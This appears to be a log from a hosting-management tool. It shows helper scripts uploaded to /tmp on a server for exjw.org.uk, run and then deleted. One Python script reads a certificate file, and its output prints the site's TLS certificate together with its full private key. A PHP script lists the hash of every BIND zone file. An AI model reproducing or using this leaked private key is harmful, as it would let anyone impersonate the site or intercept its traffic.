        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-02 15:11:37: 

PUT: /tmp/pkp929923

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 15:11:37: 

chmod 755 /tmp/pkp929923; /tmp/pkp929923; rm /tmp/pkp929923

2026-03-02 15:11:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt	5357
25:ac:00:07:38:a0:1b:68:9f:e3:48:cc:e9:e8:b1:3a

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBe7QWf1LVA9a8+RR4+3llm5sMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzAyMTQxMzA0WhcNMjYwNTMxMTQxMzAzWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALyF
TaPagh+DEO0fmqRlZ/Aw6GBvi9UzmUEtLuXdS6ITXsnW+jCVxtBGrAsy8h+pJCPk
e4C7ZJVkGCeVhf8WawsW3srJBEsWWGhoPVAc+oXebdL3XKFJRy8WSHspF1aBJm3q
5IeIn0Gdz8zLp8uH4t95kLK9mNO/b3Xnk3fue4y/8x4TEQV8AoKipp3ccoZ0AA32
j1Qml2+pWtfGRgbpvZcs1j8Zm/kn8/58rZPY/RrcJavN3XB8kyb+9aZnKx5/Kzyh
mVXoTRBgWG3NJ2GtpusLhMyPlmrGqOKcyIQwOo8/8UrNhJ+492zxOv5+wfXtR+cG
PL8Fj/1APlZbgLXfTG8CAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0jE5yWtEr
0OSUREYwPtVQcw9CQjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2V4ancub3JnLnVrgg93d3cuZXhqdy5vcmcudWswEwYD
VR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMi5j
LmxlbmNyLm9yZy8xMDkuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAFoMt
q/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGcrxrNDgAABAMARjBEAiAb
a4l22BuuXN8JEtoX7t7CV+e4RrtPVtbgj4TT17bQUgIgEzxT+183mA0tscMkHfaY
Jv3ttAY8e31uWLW+F1J6f0QAfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHR
iGkZ9wAAAZyvGs11AAgAAAUAM/JKCQQDAEgwRgIhAMrVxgX8rJqvJPaQSWxDR7oU
ya0fra7SWDVQGf5neSGuAiEAtYvd+2alMDD8HL4/mDTDy8wzyKievn+jhEmb6IIC
lMAwDQYJKoZIhvcNAQELBQADggEBADtnolTG/7fCYOB9lAgG1RSGkCbO+Rrusabe
M09m8spSVkAH+ybuaOqq1xDRYjIzMzIw6j0XjmxnxEUdrehHPZeyme+tJn28Chg7
CjRCG6n64TiS7iv0wbKvSQR+vd70jRBQrWnYZT9JWA4uSMjHp9IuO2NXpDXQ3sBv
s1W1qNMiVPwgiyc2xtp6H2z4SJI5WA37rsmUYP8+vbLkXh7KM3UZNFypALh2HcnQ
mhht/XJzX7d/dBIspUUMrvdNYTDJTgCzMq2YUL2ix+7HfW+ksMX9Mo/pYcKeD7Ba
NgKipp0/mmOsj9me8ny9uxK8lKeRvhE6TEJawFnRFcN4Gl6CmIQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8hU2j2oIfgxDt
H5qkZWfwMOhgb4vVM5lBLS7l3UuiE17J1vowlcbQRqwLMvIfqSQj5HuAu2SVZBgn
lYX/FmsLFt7KyQRLFlhoaD1QHPqF3m3S91yhSUcvFkh7KRdWgSZt6uSHiJ9Bnc/M
y6fLh+LfeZCyvZjTv29155N37nuMv/MeExEFfAKCoqad3HKGdAAN9o9UJpdvqVrX
xkYG6b2XLNY/GZv5J/P+fK2T2P0a3CWrzd1wfJMm/vWmZysefys8oZlV6E0QYFht
zSdhrabrC4TMj5ZqxqjinMiEMDqPP/FKzYSfuPds8Tr+fsH17UfnBjy/BY/9QD5W
W4C130xvAgMBAAECggEAGdp/gEtqHEo22wjCMMNwvUw9F2SUx637hChfIx+gd19d
WM7boX1uNjKgS3+MHEgaRbXYM2+qO/aYfW07DXWUmSu6GBNN5xeZvjp1a3QzQy1I
NcNoolHQqlDNqzOXw2w+H0WJsQX32TbRlaNkT+btzSSjHHAgnQFxlrjQd4UZen69
kOjFccyDtkuoW0iGfHURYnR5rKHNJqqX2mGIEbLi9uUsycGifjL7IxkWAC6ldj58
pDYiDmJsYiN3fUX/TaCp2RcrcUCZ+97y3pwyYNKMkxwtyqjDu9BH6kuijCn2m3Tv
tySvUfUOQSxfXfAWuoglaxhMUmPDmjfnDCy/C0cBAQKBgQDbu90rORw8DRxLtguh
LrNfPgULmx/rab6v68I1x7IjkLPzPrsz2Yf+T9VC99B0CE7OHfpbwJKMQYPh8VZp
8arZ9Ekg0QTEo1IiHn6VsBnVHytQaF5BA54xvdTpnM5Eznw21qu5IlBhHyzLh4IP
D+WVdjkdD9O3ZRTevoc+7tXf7wKBgQDboqFsFOnIOJGzkRirTIEzMWYc2zsMvVuI
a3Cjn5Zp7ENxFqZZUR2ZqMyL7XL9A0lTpDEwzF/epIrvE1AaunWsH5g/xJrnHr8y
ZrCg6axGiAkBWoVeHxW//1tVixJ4F0W7RJTpchlxynqGPiPdFXpEvAF2601JDqMG
YXDo6vjbgQKBgQCrX2ySLlt39l2wKs4NKqgYyv0SXSza5MEk4UG5wgKMPGosdyt3
t9uZm1fff/ki1evoU3cUIi/plZsvF5Nm02WF0UFLh9kpJ5uCIrhlNFAhaMrWTl/c
Yt75Om2YuYQiI8y61Fhf7oQ0CyVbo1brOmG7XNYUdWiQ6xQI2R4QFiPWHwKBgD/b
/lE9l2emwv5Rzrlnqh0nXMhBGd8vY2C71GlOql4r2sQT0NQhWJjn0mlQ5eEYxoYy
NDc7BRjoAJlYpS7QTgx4tzy7Pkq6zt6pqutuZa+wN+YT2rkuEpXbekPaBsmyAo1b
eGyTx0AlnhBQGv9aEk3P2CEqczMttUrSpBCk2SyBAoGAe289tVWsVDSJuEyb2Eki
60YmlB0wbtqcvPqQMLRpQkzH5uw71IvunwqmNUAkFosjgRAYngC46pGKED4GzkIs
MXZcdB9N/DTlzt2fAKaQEoJXfoTYpeQ2IAi1bwV7dAO+CRM/yUitYU6fG1d399dq
SgWmV4a/jlwNBWbTE++Vl0s=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-02 15:35:20: Establishing a connection
2026-03-02 15:35:29: Establishing a connection
2026-03-02 15:35:29: 

PUT: /tmp/pkp150887

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 15:35:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp150887; rm /tmp/pkp150887'

2026-03-02 15:35:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
